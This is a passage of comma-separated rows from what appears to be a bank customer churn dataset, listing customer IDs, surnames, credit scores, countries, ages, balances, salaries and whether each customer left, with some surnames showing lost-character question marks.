+5027,15673223,Hou,626,France,Male,44,10,0,2,0,0,164287.86,0 +5028,15807989,Wall,681,Germany,Male,37,8,73179.34,2,1,1,25292.53,0 +5029,15761168,Manna,478,France,Female,38,4,171913.87,1,1,0,51820.87,1 +5030,15651272,Reyes,709,France,Male,38,5,0,2,1,1,81452.29,0 +5031,15812832,Jideofor,562,Germany,Male,33,8,92659.2,2,1,0,1354.25,0 +5032,15680517,Sal,769,Germany,Female,34,7,137239.17,1,1,1,71379.92,1 +5033,15750569,Iweobiegbunam,684,Germany,Female,46,3,102955.14,2,1,0,154137.33,0 +5034,15690743,Shao,536,France,Female,61,8,65190.29,1,1,1,64308.49,1 +5035,15627741,Heath,631,Germany,Female,29,2,96863.52,2,1,1,31613.35,0 +5036,15712121,Chidimma,657,Spain,Male,34,5,154983.98,1,1,0,27738.01,0 +5037,15805429,Murray,699,Germany,Male,59,3,106819.65,1,0,1,163570.25,0 +5038,15814923,Sullivan,606,Spain,Male,38,7,128578.52,1,1,1,193878.51,0 +5039,15589230,Wu,612,France,Female,63,2,126473.33,1,0,1,147545.65,0 +5040,15775490,Downie,660,France,Female,38,5,110570.78,2,1,0,195906.59,0 +5041,15749727,Chukwufumnanya,829,Spain,Male,50,7,0,2,0,1,178458.86,0 +5042,15619238,Allan,567,Spain,Male,29,8,0,2,1,0,156125.72,0 +5043,15593468,Findlay,850,France,Female,33,3,0,2,1,1,11159.19,0 +5044,15718454,Ch'eng,712,Spain,Female,44,2,0,2,0,0,45738.94,0 +5045,15789498,Miller,562,France,Male,30,3,111099.79,2,0,0,140650.19,0 +5046,15744691,Tsai,755,France,Female,29,3,0,3,1,0,4733.94,0 +5047,15708289,Graham,793,Spain,Male,25,3,100913.57,1,0,0,10579.72,0 +5048,15790412,Norton,471,Spain,Male,26,8,0,2,1,1,179655.87,0 +5049,15741416,Yegorov,707,France,Male,42,2,16893.59,1,1,1,77502.56,0 +5050,15598894,Holt,784,Spain,Male,38,10,122267.85,1,0,0,145759.93,0 +5051,15663294,Kao,703,France,Male,32,1,125685.79,1,1,1,56246.72,0 +5052,15572728,Ross,704,Spain,Male,36,8,127397.34,1,1,0,151335.24,0 +5053,15706729,Hsiao,662,France,Male,38,0,105271.56,1,0,1,179833.45,0 +5054,15674433,Allan,636,Germany,Female,28,2,115265.14,1,0,0,191627.85,0 +5055,15641170,Liang,640,Spain,Male,36,4,0,1,0,0,173016.46,0 +5056,15806284,Briggs,739,Spain,Male,31,1,0,2,1,1,58469.75,0 +5057,15690958,Cantrell,767,Germany,Male,23,2,139542.82,1,0,1,28038.28,0 +5058,15606386,Wang,753,Germany,Female,46,3,111512.75,3,1,0,159576.75,1 +5059,15682322,Aksenov,714,France,Male,37,9,148466.93,2,0,1,151280.96,0 +5060,15579915,Glennon,707,France,Male,29,4,0,2,1,0,139953.94,0 +5061,15681928,Yancy,577,France,Female,35,4,108155.49,1,1,0,105407.79,0 +5062,15734005,Mazzi,633,France,Female,42,1,0,2,1,0,56865.62,0 +5063,15650432,Liu,849,Germany,Male,41,10,84622.13,1,1,1,198072.16,0 +5064,15592578,Nucci,614,Spain,Female,41,7,146997.64,2,0,0,137791.18,0 +5065,15671243,Y?,558,France,Female,47,9,0,2,1,0,103787.28,0 +5066,15775709,Nucci,832,France,Female,27,10,98590.25,1,1,0,30912.89,0 +5067,15702631,Tang,567,France,Female,26,2,0,2,1,1,78651.55,0 +5068,15602282,Kao,587,Germany,Female,45,8,134980.74,1,1,1,123309.57,1 +5069,15717879,Chen,712,Spain,Female,79,5,108078.56,1,1,1,174118.93,0 +5070,15740878,Yao,655,Spain,Female,29,9,0,2,0,1,85736.26,0 +5071,15794468,Tsou,641,France,Female,42,6,0,2,0,0,121138.77,0 +5072,15773277,Barnes,676,France,Male,35,5,106836.67,2,1,0,84199.78,0 +5073,15572657,H?,472,France,Male,29,8,102490.27,1,0,1,181224.56,0 +5074,15800295,Cruz,644,Germany,Male,34,9,112746.54,2,0,0,141230.07,0 +5075,15672397,Smith,598,France,Male,38,0,125487.89,1,0,0,158111.71,0 +5076,15684921,Onuchukwu,792,Spain,Male,25,8,142862.21,1,1,1,130639.01,0 +5077,15720676,Bukowski,700,France,Female,37,7,0,2,1,0,17040.82,0 +5078,15731829,Simmons,616,France,Male,34,10,0,2,1,0,25662.27,0 +5079,15732672,Stewart,743,Spain,Male,35,6,79388.33,1,1,1,193360.69,0 +5080,15692406,Gow,427,France,Male,37,5,0,2,1,1,121485.1,0 +5081,15764405,Williams,731,France,Male,29,10,0,2,1,1,162452.65,0 +5082,15757537,Francis,610,France,Female,31,6,107784.65,1,1,1,141137.53,0 +5083,15793307,Calabresi,724,Spain,Female,41,4,142880.28,3,0,0,185541.2,1 +5084,15660679,Chimaobim,653,Spain,Female,38,9,149571.94,1,1,0,118383.18,0 +5085,15666856,Chikwendu,774,France,Male,49,1,142767.39,1,1,1,8214.41,0 +5086,15687372,Padovesi,547,Germany,Male,49,8,121537.71,2,1,0,46521.45,1 +5087,15667289,Henderson,719,Spain,Male,50,2,0,2,0,0,10772.13,0 +5088,15624641,Kharlamova,740,Spain,Male,43,9,0,1,1,0,199290.68,1 +5089,15734610,Onio,543,France,Male,42,4,89838.71,3,1,0,85983.54,1 +5090,15631882,Yeh,688,Germany,Male,45,9,103399.87,1,0,0,129870.93,0 +5091,15642709,Feng,474,France,Female,30,9,0,2,0,0,63158.22,0 +5092,15811026,Norman,505,Germany,Male,43,5,136855.94,2,1,0,171070.52,0 +5093,15596303,White,688,France,Female,39,0,0,2,1,0,53222.15,1 +5094,15787255,Manfrin,650,Germany,Female,55,2,140891.46,3,1,1,179834.45,1 +5095,15617166,Ritchie,610,France,Male,37,0,0,1,1,0,114514.64,0 +5096,15742442,Udegbulam,705,Spain,Female,46,5,89364.91,1,0,1,139162.15,0 +5097,15758692,Kao,669,France,Female,29,7,146011.4,1,0,0,50249.16,0 +5098,15568238,Diaz,650,Spain,Male,20,8,0,2,1,1,113469.65,0 +5099,15730353,Olisaemeka,550,Germany,Male,29,9,145294.08,2,1,0,147484.13,0 +5100,15731555,Ross-Watt,595,Germany,Female,45,9,106000.12,1,0,0,191448.96,1 +5101,15582404,Miller,572,Spain,Female,26,5,0,2,1,0,119381.41,0 +5102,15721462,Shubin,622,Spain,Female,58,2,0,2,1,1,33277.31,0 +5103,15632899,Nwankwo,662,Spain,Male,20,9,104508.77,2,0,0,73107.53,0 +5104,15808526,Cartwright,783,Germany,Female,58,3,127539.3,1,1,1,96590.39,1 +5105,15694349,Ngozichukwuka,714,Spain,Male,44,7,0,1,0,1,6923.11,0 +5106,15718465,Sadler,671,Germany,Male,51,3,96891.46,1,1,0,176403.33,1 +5107,15682995,Azuka,600,France,Female,32,1,78535.25,1,1,0,64349.6,0 +5108,15584776,Shen,847,Spain,Female,37,9,112712.17,1,1,0,116097.26,0 +5109,15777772,Whittaker,650,Spain,Male,55,9,119618.42,1,1,1,29861.13,0 +5110,15576156,Abazu,710,Spain,Female,28,6,0,1,1,0,48426.98,0 +5111,15646756,Murphy,682,France,Female,33,8,74963.5,1,1,1,32770.56,0 +5112,15742886,Ford,642,France,Male,26,1,138023.79,2,0,1,117060.2,0 +5113,15586135,Gratwick,536,Spain,Female,28,4,0,1,1,1,136197.65,0 +5114,15616152,Pai,754,France,Female,47,1,185513.67,1,1,0,27438.83,0 +5115,15721460,Lorenzo,678,France,Male,60,8,185648.56,1,0,0,192156.54,1 +5116,15727317,Brady,533,Germany,Female,49,1,102286.6,3,1,0,69409.37,1 +5117,15649536,Wong,741,Germany,Male,38,4,128015.83,1,1,0,58440.43,0 +5118,15754929,Douglas,757,France,Male,31,10,39539.39,2,0,0,192519.39,0 +5119,15572051,Kennedy,721,France,Male,40,3,0,1,1,1,144874.67,0 +5120,15668142,Chang,700,France,Male,37,3,77608.46,2,1,1,175373.46,0 +5121,15701176,Brown,663,France,Male,26,5,141462.13,1,1,0,440.2,0 +5122,15708422,Hsiung,677,Spain,Female,35,0,0,2,0,0,76637.38,0 +5123,15655632,MacDonald,655,France,Male,27,2,131691.33,1,1,0,49480.66,0 +5124,15744606,Davidson,832,Spain,Male,29,8,93833.86,1,0,1,10417.87,0 +5125,15612140,Milano,721,Spain,Female,46,7,137933.39,1,1,1,67976.57,0 +5126,15656086,Bovee,542,Spain,Male,54,8,105770.14,1,0,1,140929.98,1 +5127,15655298,Lewis,654,Spain,Female,54,5,0,2,0,1,47139.06,0 +5128,15644796,Dyer,821,Spain,Female,38,8,0,2,0,1,126241.4,1 +5129,15726250,Hsia,508,France,Female,38,3,166328.65,2,0,1,22614.19,0 +5130,15764432,Hicks,588,Germany,Female,42,2,164307.77,1,1,0,48498.19,0 +5131,15631721,Millar,691,Germany,Male,38,9,163965.69,2,0,1,103511.26,0 +5132,15707479,Fan,664,France,Male,40,7,125608.72,1,1,0,122073.48,0 +5133,15579826,Young,439,France,Female,66,9,0,1,1,0,65535.56,0 +5134,15668104,Kerr,479,Spain,Male,37,6,118433.94,1,0,1,160060.9,0 +5135,15641604,Frolova,850,France,Female,55,10,98488.08,1,1,0,155879.57,1 +5136,15587240,Vasilyev,518,France,Male,40,4,0,2,0,1,194416.58,0 +5137,15680767,Sabbatini,717,Germany,Female,64,10,98362.35,2,1,1,21630.21,0 +5138,15601594,Ifeanacho,698,France,Female,51,6,144237.91,4,1,0,157143.61,1 +5139,15589969,Capon,850,France,Male,34,6,0,1,0,1,52796.31,0 +5140,15703728,Chieloka,700,Spain,Male,47,4,0,1,1,0,121798.52,1 +5141,15617790,Hanson,626,France,Female,29,4,105767.28,2,0,0,41104.82,0 +5142,15662500,Ts'ao,774,Spain,Male,32,9,0,2,1,0,10604.48,0 +5143,15778526,Bradshaw,719,Spain,Female,48,5,0,2,0,0,78563.66,0 +5144,15670584,Nkemakolam,646,Spain,Male,31,2,0,1,1,1,170821.43,1 +5145,15748069,Clunie,485,France,Female,25,3,134467.26,1,1,1,113266.09,0 +5146,15680597,Cover,784,Germany,Male,38,1,138515.02,1,1,1,171768.76,0 +5147,15628992,Esposito,850,Germany,Male,32,2,128647.98,2,0,0,54416.18,0 +5148,15719624,Hodgson,669,France,Female,38,9,121858.98,1,1,0,130755.34,0 +5149,15812767,Harvey,731,Spain,Male,70,3,0,2,1,1,141180.66,0 +5150,15689201,Dobie,721,France,Female,49,1,120108.56,1,0,1,183421.76,0 +5151,15614716,Okwudilichukwu,515,France,Female,37,0,196853.62,1,1,1,132770.11,0 +5152,15683618,Dyer,774,France,Female,35,3,121418.62,1,1,1,24400.37,0 +5153,15799631,Chase,585,Spain,Male,36,10,0,2,1,1,180318.6,0 +5154,15692259,Baresi,695,France,Female,29,9,0,2,1,0,111565.45,0 +5155,15590966,Lo,729,Germany,Female,42,4,97495.8,2,0,0,2002.5,0 +5156,15656426,Tyler,713,France,Female,42,3,0,2,0,0,82565.01,0 +5157,15675256,Ts'ui,555,Spain,Male,33,5,127343.4,1,0,1,121789.3,0 +5158,15751185,Aparicio,699,Spain,Female,50,0,158633.61,1,1,0,193785.87,0 +5159,15789582,Macleod,587,France,Male,55,9,0,1,1,0,64593.07,0 +5160,15651103,Sal,762,Spain,Female,69,9,183744.98,1,1,1,196993.69,0 +5161,15672299,Yeh,510,France,Male,44,6,0,2,1,1,175518.31,0 +5162,15772250,Udegbunam,842,Spain,Male,46,9,0,1,0,0,17268.02,0 +5163,15763922,Alexandrov,608,France,Male,31,7,79962.92,2,1,0,60901.72,0 +5164,15633870,Ozioma,850,France,Female,36,10,0,2,1,1,100750.03,0 +5165,15624323,Atkins,642,France,Male,36,4,0,2,1,1,195224.91,0 +5166,15688612,Campos,850,France,Male,33,7,140956.99,1,0,0,3510.18,0 +5167,15694644,Wood,455,Spain,Female,43,6,0,1,1,1,81250.79,0 +5168,15587174,Kerr,726,France,Male,29,7,0,2,1,1,91844.14,1 +5169,15579559,Chienezie,544,Spain,Male,30,8,145241.63,1,1,1,80676.83,0 +5170,15775430,Tsou,651,Germany,Male,31,7,138008.06,2,1,0,129912.74,0 +5171,15623695,McKinnon,814,France,Female,31,4,0,2,1,1,142029.17,0 +5172,15760849,Nwachukwu,537,France,Male,39,2,0,2,1,1,137651.6,0 +5173,15813095,Nwebube,553,France,Male,37,2,0,2,1,0,33877.29,0 +5174,15705281,Burt,800,Spain,Male,38,9,0,1,1,0,78744.39,0 +5175,15812594,Ross,791,France,Male,34,7,0,2,1,0,96734.46,0 +5176,15626322,Lees,699,Spain,Female,29,9,127570.93,2,1,0,164756.81,0 +5177,15723105,Feetham,756,France,Female,28,6,0,1,1,1,164394.65,0 +5178,15588449,Chuang,591,Spain,Female,27,5,107812.67,1,0,1,162501.83,1 +5179,15794849,Aitken,850,Germany,Male,22,7,91560.58,2,0,0,10541.38,0 +5180,15620000,Chambers,760,Germany,Male,34,6,121303.77,2,1,1,59325.21,0 +5181,15799720,Coburn,569,Spain,Male,43,8,161546.68,2,0,1,178187.28,0 +5182,15711287,Ahmed,661,Spain,Female,35,5,128415.45,1,1,0,142626.49,0 +5183,15613102,Ogochukwu,670,France,Female,31,2,57530.06,1,1,1,181893.31,1 +5184,15621440,Soto,694,France,Male,38,1,0,2,0,1,156858.2,0 +5185,15677146,Obiajulu,728,France,Female,28,4,142243.54,2,1,0,33074.51,0 +5186,15801169,Yegorova,764,Germany,Female,39,9,138341.51,1,1,0,50072.94,1 +5187,15722425,Lucchese,639,France,Male,32,9,0,2,1,0,111340.36,0 +5188,15682421,Talbot,683,France,Female,30,2,0,2,0,1,100496.84,1 +5189,15691910,Lu,663,Spain,Male,30,4,0,3,1,0,101371.05,0 +5190,15721779,Arnold,826,Spain,Male,41,5,146466.46,2,0,0,180934.67,0 +5191,15579548,Nicholson,735,Spain,Male,36,5,0,2,1,0,105152.17,0 +5192,15681075,Chukwualuka,682,France,Female,58,1,0,1,1,1,706.5,0 +5193,15607884,Wallace,663,France,Female,39,8,0,2,1,1,101168.9,0 +5194,15767757,Pisano,562,Spain,Female,29,9,120307.58,1,1,1,6795.61,0 +5195,15791550,Kelly,696,France,Male,27,4,87637.26,2,0,0,196111.35,0 +5196,15658589,Brady,850,Spain,Male,38,2,94652.04,1,1,1,171960.76,0 +5197,15670822,Palmer,719,France,Female,22,7,114415.84,1,1,1,177497.4,0 +5198,15629744,Tan,804,France,Female,71,8,0,2,0,1,147995.96,0 +5199,15660768,L?,604,France,Male,40,1,84315.02,1,0,0,36209.1,0 +5200,15726310,Mordvinova,782,Spain,Female,27,3,0,2,1,0,143614.01,0 +5201,15641298,Corones,512,Germany,Male,42,9,93955.83,2,1,0,14828.54,0 +5202,15625675,Clements,569,France,Male,36,1,67087.69,1,1,0,154775.7,0 +5203,15713354,Morrice,597,Germany,Female,22,6,101528.61,1,1,0,70529,1 +5204,15633866,Hsiung,753,Germany,Male,30,1,110824.52,1,1,1,57896.27,0 +5205,15704231,Barrett,430,France,Female,33,8,0,1,1,1,69759.91,0 +5206,15735400,Kanayochukwu,756,France,Male,28,8,179960.2,1,1,0,89938.08,0 +5207,15632826,Tardent,493,France,Male,38,3,134006.77,1,1,0,89578.32,0 +5208,15751022,Bowhay,777,Germany,Female,37,10,121532.17,2,1,1,73464.88,0 +5209,15664737,Lei,779,Spain,Female,38,7,0,2,1,1,138542.87,0 +5210,15681126,Baker,702,Spain,Female,38,2,0,1,1,1,161888.63,0 +5211,15738954,Pisano,551,France,Male,35,7,129717.3,2,0,0,86937.2,0 +5212,15662263,Castillo,749,Germany,Male,22,4,94762.16,2,1,1,42241.54,0 +5213,15621611,Gibson,742,Germany,Male,55,5,155196.17,1,0,1,121207.66,1 +5214,15783752,Lindsay,752,Germany,Male,29,4,129514.99,1,1,1,102930.46,0 +5215,15709474,Macnamara,740,Germany,Female,57,3,113386.36,2,1,1,65121.63,1 +5216,15701280,Romano,576,France,Male,24,3,0,1,0,1,78498.04,1 +5217,15671104,Aksakova,637,Spain,Male,43,3,172196.23,1,1,1,104769.96,0 +5218,15796434,Farnsworth,724,France,Male,28,5,97612.12,1,1,1,96498.14,0 +5219,15781505,Giordano,685,France,Male,20,4,104719.94,2,1,0,38691.34,0 +5220,15625819,Arnold,625,France,Female,38,7,0,1,1,0,164804.02,0 +5221,15753174,Thompson,571,Germany,Male,37,9,139592.98,3,1,0,104152.65,1 +5222,15654067,Koch,584,Spain,Female,29,4,0,2,1,0,88866.92,0 +5223,15724719,Jones,550,France,Female,22,7,139096.85,1,1,0,129890.94,0 +5224,15624695,Otitodilinna,662,Spain,Female,72,7,140301.72,1,0,1,179258.67,0 +5225,15718216,Fleetwood-Smith,803,Spain,Male,43,3,0,1,1,0,72051.44,0 +5226,15586300,Chinonyelum,615,France,Male,66,7,0,2,1,1,74580.8,0 +5227,15783349,Montague,481,Spain,Male,39,1,111233.09,1,1,1,123995.15,0 +5228,15725767,Milani,701,France,Male,23,3,0,2,1,0,38960.59,0 +5229,15791925,Palermo,751,France,Male,29,10,147737.63,1,0,1,94951.27,0 +5230,15793585,Anderson,675,France,Male,35,8,0,2,1,1,56642.97,0 +5231,15576641,Crawford,733,Germany,Male,40,5,125725.02,2,1,1,50783.1,0 +5232,15749519,Lin,822,France,Male,38,6,128289.7,3,1,0,9149.96,1 +5233,15684960,Yewen,559,France,Female,46,5,0,1,1,0,21006.1,1 +5234,15591286,Simmons,731,Germany,Female,49,4,88826.07,1,1,1,33759.41,1 +5235,15668323,Mbadiwe,678,France,Female,41,1,143443.61,1,1,0,196622.28,1 +5236,15608528,Munro,645,France,Female,68,9,0,4,1,1,176353.87,1 +5237,15645184,Graham,701,France,Male,29,2,0,2,1,0,176943.59,0 +5238,15702566,Lombardo,554,Spain,Male,26,8,149134.46,1,1,1,177966.24,0 +5239,15660840,Kalinin,723,France,Male,30,3,124119.54,1,1,0,162198.32,0 +5240,15750811,Woodward,766,Germany,Male,44,3,116822.7,1,0,0,197643.24,0 +5241,15733842,Pirozzi,597,France,Female,24,1,103219.47,1,1,0,60420.07,0 +5242,15581526,Iweobiegbulam,574,France,Male,41,1,0,2,0,0,70550,0 +5243,15662751,Piazza,655,Germany,Female,40,0,81954.6,1,1,1,198798.44,1 +5244,15684319,Baranova,780,Germany,Female,37,10,95196.26,1,1,0,126310.39,1 +5245,15702190,Fan,672,Spain,Male,43,5,0,2,1,1,64515.5,0 +5246,15588517,Sun,717,France,Male,38,7,0,2,1,1,158580.05,0 +5247,15801863,Marino,521,France,Female,32,2,136555.01,2,1,1,129353.21,0 +5248,15584271,Donaldson,633,France,Male,59,5,0,1,1,1,137273.97,0 +5249,15700366,Burton,669,France,Male,39,3,119452.03,1,1,1,171575.54,0 +5250,15804038,Quinn,740,France,Male,44,9,0,1,0,1,96528,1 +5251,15720820,Sabbatini,462,Germany,Female,24,9,69881.09,2,0,1,64421.02,0 +5252,15743759,Brooks,619,France,Male,39,5,0,2,1,1,158444.61,0 +5253,15749947,Black,665,France,Female,44,7,0,2,1,1,66548.58,0 +5254,15670496,Schwartz,655,Spain,Female,27,9,0,2,0,0,108008.05,0 +5255,15746664,Ts'ui,463,Spain,Male,20,8,204223.03,1,1,0,128268.39,0 +5256,15745533,Sargent,799,France,Female,63,1,110314.21,2,1,0,37464,1 +5257,15761497,Udinesi,713,Spain,Female,48,1,163760.82,1,0,0,157381.14,1 +5258,15628600,Lee,807,Germany,Female,31,1,141069.18,3,1,1,194257.11,0 +5259,15627002,Taylor,728,France,Male,38,1,115934.74,1,1,1,139059.05,0 +5260,15614635,Kepley,582,France,Male,52,2,151457.88,1,0,1,40893.61,0 +5261,15731281,Ozuluonye,704,Germany,Female,35,3,154206.07,2,1,1,40261.49,0 +5262,15814022,Lassetter,714,France,Female,26,9,89928.99,1,1,0,46203.31,0 +5263,15659194,Mishina,628,France,Male,30,8,89182.09,1,1,1,13126.9,0 +5264,15745030,Trevisano,809,Germany,Male,41,1,79706.25,2,1,0,165675.01,0 +5265,15691817,Iloerika,547,Spain,Female,44,5,0,3,0,0,5459.07,1 +5266,15707488,Tan,560,France,Female,27,5,0,2,1,0,131919.48,0 +5267,15784700,Chikelu,811,France,Male,31,7,117799.28,1,1,1,182372.35,0 +5268,15710397,Lin,584,France,Male,26,4,0,2,1,0,147600.54,0 +5269,15687648,Nicholson,691,France,Male,28,1,0,2,0,0,92865.41,0 +5270,15732281,Ugoji,680,Germany,Male,34,6,146422.22,1,1,0,67142.97,1 +5271,15607230,Michel,588,Germany,Male,33,9,150186.22,2,1,1,65611.01,0 +5272,15567630,Bruce,721,Germany,Male,40,6,100275.88,1,1,0,138564.48,1 +5273,15587507,Feng,850,France,Male,47,6,0,1,1,0,187391.02,1 +5274,15733904,McDonald,529,France,Male,32,9,147493.89,1,1,0,33656.35,0 +5275,15709511,Watt,622,France,Male,43,8,0,2,1,0,100618.17,0 +5276,15579616,Goodwin,683,France,Female,42,8,0,2,0,1,198134.9,0 +5277,15694852,Arcuri,575,France,Male,29,4,121823.4,2,1,1,50368.87,0 +5278,15589924,Rapuluolisa,577,Spain,Female,40,1,0,2,1,1,108787,0 +5279,15799300,Kao,510,Germany,Male,31,0,113688.63,1,1,0,33099.41,1 +5280,15731330,Tsui,652,Spain,Female,40,7,100471.34,1,1,1,124550.88,0 +5281,15694129,Summers,569,Germany,Female,28,3,100032.52,1,1,0,5159.21,1 +5282,15620372,Cross,687,Spain,Male,31,3,0,2,0,0,48228.1,0 +5283,15744622,Osorio,822,France,Male,32,8,116358,1,1,0,108798.36,0 +5284,15799815,Bobrov,656,Germany,Female,23,4,163549.63,1,0,1,21085.12,0 +5285,15759250,Barnett,745,Germany,Male,51,3,99183.9,1,1,1,28922.25,0 +5286,15732643,Pike,386,Spain,Female,53,1,131955.07,1,1,1,62514.65,1 +5287,15690540,Gearheart,684,Spain,Female,41,1,134177.06,1,0,0,177506.66,0 +5288,15803078,Bruno,635,Spain,Female,38,1,0,2,1,0,90605.05,0 +5289,15652180,Egobudike,582,France,Male,30,2,0,2,1,1,132029.95,0 +5290,15741195,Okechukwu,613,Spain,Male,19,5,0,1,1,1,176903.35,0 +5291,15743490,Zikoranachidimma,795,Germany,Female,56,9,94348.94,1,1,0,29239.29,1 +5292,15575510,Milanesi,659,France,Female,32,2,155584.21,1,0,1,153662.88,0 +5293,15732610,Ahern,745,France,Female,28,6,0,2,1,0,154389.18,0 +5294,15602909,Dickson,604,Spain,Female,41,10,0,2,1,1,166224.39,0 +5295,15734058,Anayochukwu,509,Germany,Male,32,9,170661.47,1,1,1,21646.2,0 +5296,15801788,McDonald,706,Germany,Female,29,6,185544.36,1,1,0,171037.63,0 +5297,15702462,Fiorentini,619,Spain,Female,44,6,52831.13,1,1,1,112649.22,1 +5298,15683416,Russo,572,Germany,Male,51,8,97750.07,3,1,1,193014.26,1 +5299,15794187,Young,695,France,Male,36,6,114007.5,2,1,0,118120.88,0 +5300,15792989,Bianchi,543,France,Female,71,1,104308.77,1,1,1,25650.04,0 +5301,15613734,Fallaci,640,France,Female,33,6,84719.13,2,1,1,113048.79,0 +5302,15606177,Crawford,672,France,Male,39,2,0,2,1,0,87372.49,0 +5303,15636700,Marsh,701,France,Male,39,9,140236.98,1,0,1,146651.99,0 +5304,15645766,Kosisochukwu,634,Spain,Male,25,9,0,2,1,1,8227.91,0 +5305,15671345,Piccio,531,Spain,Female,42,6,75302.85,2,0,0,57034.35,0 +5306,15652469,Nevels,699,France,Male,27,1,0,2,1,0,93003.21,0 +5307,15749638,Kaodilinakachukwu,605,France,Female,51,9,104760.82,1,1,1,165574.54,1 +5308,15728706,Amaechi,534,France,Female,49,7,0,1,1,0,13566.48,1 +5309,15735439,P'an,449,Spain,Female,31,1,113693,1,0,0,82796.29,0 +5310,15778696,Ikemefuna,684,Spain,Female,36,5,174180.39,1,1,0,119830.08,0 +5311,15624744,Tai,622,Germany,Male,42,9,115766.26,1,0,0,72155.85,1 +5312,15584338,Winn,714,France,Female,40,0,0,2,1,0,62762.12,0 +5313,15726178,Hardy,712,Spain,Female,48,8,0,2,1,0,183235.33,0 +5314,15794939,Chiu,783,France,Female,72,5,121215.9,2,1,1,105206.48,0 +5315,15788068,Lopez,743,Germany,Male,45,10,144677.19,3,1,0,22512.44,1 +5316,15572956,Steen,683,France,Male,36,5,115350.63,1,1,1,122305.91,0 +5317,15780386,Ferri,654,Spain,Male,40,5,105683.63,1,1,0,173617.09,0 +5318,15791114,Yegorova,700,France,Male,37,1,135179.49,1,1,0,160670.37,0 +5319,15708046,Knowles,744,Spain,Male,31,0,117551.23,1,1,0,158958.9,0 +5320,15719779,May,645,Germany,Male,25,1,157404.02,2,1,0,93073.04,0 +5321,15591550,Bianchi,525,Spain,Male,36,3,77910.23,1,1,0,67238.01,0 +5322,15639368,Pipes,732,France,Male,25,0,110942.9,1,0,0,172576.56,0 +5323,15699830,Doherty,721,France,Female,40,7,0,2,1,1,122580.48,0 +5324,15569264,Yobanna,622,France,Male,32,5,179305.09,1,1,1,149043.78,0 +5325,15595158,Hsu,654,Germany,Male,31,5,150593.59,2,1,1,105218.45,0 +5326,15599126,Russell,529,France,Female,43,0,123815.86,1,1,1,78463.99,1 +5327,15650575,Payne,720,Spain,Female,59,6,0,2,1,1,160849.43,1 +5328,15641490,Windsor,850,Germany,Female,25,8,69385.17,2,1,0,87834.24,0 +5329,15680234,Bray,667,Germany,Male,27,2,138032.15,1,1,0,166317.71,0 +5330,15592230,Seleznyov,620,France,Male,41,3,0,2,1,1,137309.06,0 +5331,15626212,Wark,616,France,Male,29,9,0,1,1,1,166984.44,0 +5332,15700627,Y?,637,Germany,Female,46,2,143500.82,1,1,0,166996.46,1 +5333,15782641,Brown,710,Spain,Female,29,3,119670.18,1,1,0,188022.44,0 +5334,15784445,Huang,717,Spain,Male,33,1,99106.73,1,0,0,194467.23,0 +5335,15813681,Zito,786,Germany,Male,24,2,120135.55,2,1,1,125449.47,0 +5336,15596649,Bailey,651,France,Female,39,8,0,1,1,0,137452.57,0 +5337,15700460,Allnutt,530,France,Female,55,4,120905.03,1,0,1,123475.88,1 +5338,15724076,Christie,815,Spain,Female,57,5,0,3,0,0,38941.44,1 +5339,15784000,Pope,715,Germany,Female,34,9,102277.52,1,0,0,177852.57,1 +5340,15733966,Johnstone,496,Germany,Female,55,4,125292.53,1,1,1,31532.96,1 +5341,15612667,Bird,680,Spain,Male,42,0,0,1,1,0,136377.21,0 +5342,15654025,Jones,646,France,Female,51,4,101629.3,1,0,0,130541.1,0 +5343,15589431,Pedder,807,Germany,Male,47,1,171937.27,1,1,1,65636.92,0 +5344,15578238,Calabrese,727,France,Male,47,7,0,2,1,0,193305.35,0 +5345,15566269,Chialuka,787,France,Male,25,5,0,2,1,0,47307.9,0 +5346,15639217,McKenzie,806,France,Male,34,6,0,2,0,0,100809.99,0 +5347,15688644,Holloway,603,France,Male,31,1,129743.75,1,1,0,109145.2,0 +5348,15662426,Tang,649,Spain,Male,32,1,0,1,0,1,91167.19,1 +5349,15720511,Byrne,547,Germany,Male,41,3,151191.31,1,1,0,175295.89,1 +5350,15567246,Selwyn,684,Germany,Male,32,3,102630.13,2,1,1,127433.47,0 +5351,15647965,Genovese,477,France,Female,57,9,114023.64,2,1,1,71167.17,1 +5352,15679048,Koger,558,Germany,Male,41,2,124227.14,1,1,1,111184.67,0 +5353,15675749,Baranov,695,France,Female,23,1,0,2,1,1,141756.32,0 +5354,15782181,Greco,592,Spain,Male,35,6,80285.16,1,1,0,72678.75,1 +5355,15795738,Owens,789,France,Male,31,4,175477.15,1,1,1,172832.9,0 +5356,15773751,Y?,597,France,Female,29,1,132144.35,1,1,0,158086.33,0 +5357,15655436,Kendall,839,Germany,Male,47,2,136911.07,1,1,1,168184.62,1 +5358,15691396,Ko,405,Germany,Male,31,5,133299.67,2,1,1,72950.14,0 +5359,15796958,Tang,658,France,Male,39,7,0,2,1,0,48378.4,0 +5360,15801832,Lombardo,684,Germany,Male,42,1,117691,1,1,1,23135.65,1 +5361,15661349,Perkins,633,France,Male,35,10,0,2,1,0,65675.47,0 +5362,15719265,Feng,589,France,Male,46,9,0,2,1,0,170676.67,0 +5363,15779985,Lo,750,Germany,Female,37,1,133199.71,2,1,1,27366.77,0 +5364,15663410,Piccio,771,Spain,Male,51,5,135506.58,3,1,1,152479.64,1 +5365,15704144,Mazzanti,812,Germany,Male,33,2,127154.14,2,0,1,105383.49,0 +5366,15774104,Chukwualuka,539,Spain,Male,39,2,0,2,1,1,48189.94,0 +5367,15812230,Elliot,670,Germany,Female,42,5,49508.79,3,1,1,100324.01,0 +5368,15742848,Gratton,673,France,Male,41,5,0,1,1,1,65657.29,0 +5369,15745326,Carandini,538,France,Female,62,3,75051.49,1,0,0,17682.02,1 +5370,15674541,Robinson,575,Spain,Male,52,8,123925.23,1,0,0,111342.66,1 +5371,15728564,Lo,682,France,Male,41,6,0,2,0,1,134158.09,1 +5372,15580701,Ma,712,France,Male,33,3,153819.58,1,1,0,79176.09,1 +5373,15688973,Vinogradova,598,Spain,Female,39,5,0,2,1,1,83103.46,0 +5374,15709412,H?,776,Spain,Male,30,6,0,2,0,1,63908.86,0 +5375,15607753,Alexandrova,606,Spain,Female,23,10,70417.79,1,0,1,90896.04,0 +5376,15705352,Yang,686,Spain,Male,38,7,111484.88,1,1,1,76076.2,0 +5377,15602500,Maslova,850,Spain,Male,38,1,146343.98,1,0,1,103902.11,0 +5378,15672437,Buccho,642,France,Male,72,1,160541,2,1,1,142223.94,0 +5379,15720968,Young,606,Germany,Male,27,2,130274.26,2,1,0,147533.09,0 +5380,15730796,Barker,627,France,Female,21,7,98993.02,1,1,1,169156.64,0 +5381,15768219,Sung,850,Spain,Male,36,0,0,2,1,0,141242.57,0 